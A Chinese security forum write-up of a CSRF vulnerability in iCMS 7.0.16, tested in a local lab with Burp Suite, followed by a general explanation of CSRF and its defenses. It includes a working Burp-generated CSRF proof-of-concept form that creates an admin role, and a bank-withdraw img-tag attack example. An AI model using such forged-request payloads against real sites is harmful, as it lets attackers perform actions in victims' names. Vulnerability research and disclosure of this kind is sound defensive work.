首页
论坛
课程
招聘
[原创]#30天写作挑战#Burp使用手册_漏洞挖掘:iCMS-7.0.16
2020-9-26 16:50 2295

[原创]#30天写作挑战#Burp使用手册_漏洞挖掘:iCMS-7.0.16

2020-9-26 16:50
2295

备注(Remarks)

  • Github
    https://github.com/idreamsoft/iCMS
  • 版本(version)
    iCMS-7.0.16
  • 漏洞(vulnerability)
    CSRF漏洞(CSRF vulnerability)

环境搭建(Environment setup)

因此cms为php构建,为节省时间使用phpstudy搭建
(Therefore cms is built for php, to save time, use phpstudy to build)

  • 去phpstudy官网下载并安装(Go to phpstudy official website to download and install)
    可根据个人喜欢选择安装设置,我这边直接默认安装了
    (You can choose the installation settings according to your personal preference. I installed it directly by default.)
  • 启动phpstudy,并将下载好的源码拷贝到其安装目录下的www文件夹内
    备注:默认情况下此文件夹会存在测试文件,我这里删除了所以看不到
    (Start phpstudy, and copy the downloaded source code to the www folder under its installation directory
    Note: By default, there will be test files in this folder, I deleted it here so I can’t see it)
  • cms安装(cms install)
    默认数据库信息(Default database information)
    名称(name):root
    用户(user):root
    密码(password):root
    打开安装页面(Open the installation page):http://localhost/iCMS-7.0.16/install/

控制台测试(Console test)

因默认前端内容比较少,直接测试管理后台了,发现有创建角色功能,进行功能测试分析
(Because the default front-end content is relatively small, I tested the management back-end directly, and found that there is a role creation function, and perform functional test analysis)

  • 创建账号进行抓包(Create an account for packet capture):
    并使用burp的csrf工具创建poc进行测试(And use burp's csrf tool to create a poc for testing)

    poc:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
      <form action="http://192.168.182.133/iCMS-7.0.16/admincp.php?app=group&do=save&frame=iPHP&CSRF_TOKEN=55a39653sqDUG9yV1S-UTj6E3Vl4fAbCwfxmHpzu8wlHmfh31Ih9o5SKFob9SAjPMHOvL2b_jOCTZLynXtLXV5WGtoaCHfkPz8V-iks" method="POST">
        <input type="hidden" name="gid" value="0" />
        <input type="hidden" name="type" value="0" />
        <input type="hidden" name="name" value="CSRF" />
        <input type="submit" value="Submit request" />
      </form>
    </body>
    </html>
  • 根据此poc创建一个html文件进行验证测试(Create an html file based on this poc for verification testing)

    测试成功,虽然网站自身有token限制功能,但在次登录的情况下,因机制存在缺陷,并且未验证Referer字段,导致已过期的token仍可使用,导致存在CSRF漏洞(The test was successful. Although the website itself has a token restriction function, in the case of secondary login, due to the mechanism defects and the failure to verify the Referer field, the expired token can still be used, resulting in a CSRF vulnerability)
  • 修复建议(Repair suggestions)
    修复这一缺陷并检查Referer字段(Fix this defect and check the Referer field)

总结(to sum up)

注意细节,多尝试,可能会因为缺陷出现惊喜哟(Pay attention to the details, try more, you may be surprised because of defects)


知识储备

储备知识来源于百度百科
点击进入百度百科

  • CSRF是什么
    跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
  • 攻击细节
    跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
    例子
    假如一家银行用以运行转账操作的URL地址如下:http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
    那么,一个恶意攻击者可以在另一个网站上放置如下代码: <img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
    如果有账户名为Alice的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失1000资金。
    这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
    透过例子能够看出,攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义运行操作。
  • 防御措施
    1.检查Referer字段
    HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域名下。以上文银行操作为例,Referer字段地址通常应该是转账按钮所在的网页地址,应该也位于www.examplebank.com之下。而如果是CSRF攻击传来的请求,Referer字段会是包含恶意网址的地址,不会位于www.examplebank.com之下,这时候服务器就能识别出恶意的访问。
    这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的Referer字段。虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。
    2.添加校验token
    由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。这种数据通常是窗体中的一个数据项。服务器将其生成并附加在窗体中,其内容是一个伪随机数。当客户端通过窗体提交请求时,这个伪随机数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪随机数,而通过CSRF传来的欺骗性攻击中,攻击者无从事先得知这个伪随机数的值,服务端就会因为校验token的值为空或者错误,拒绝这个可疑请求。

[培训] 优秀毕业生寄语:恭喜id:一颗金柚子获得阿里offer《安卓高级研修班》火热招生!!!

最后于 2020-9-26 17:59 被梦幻的彼岸编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回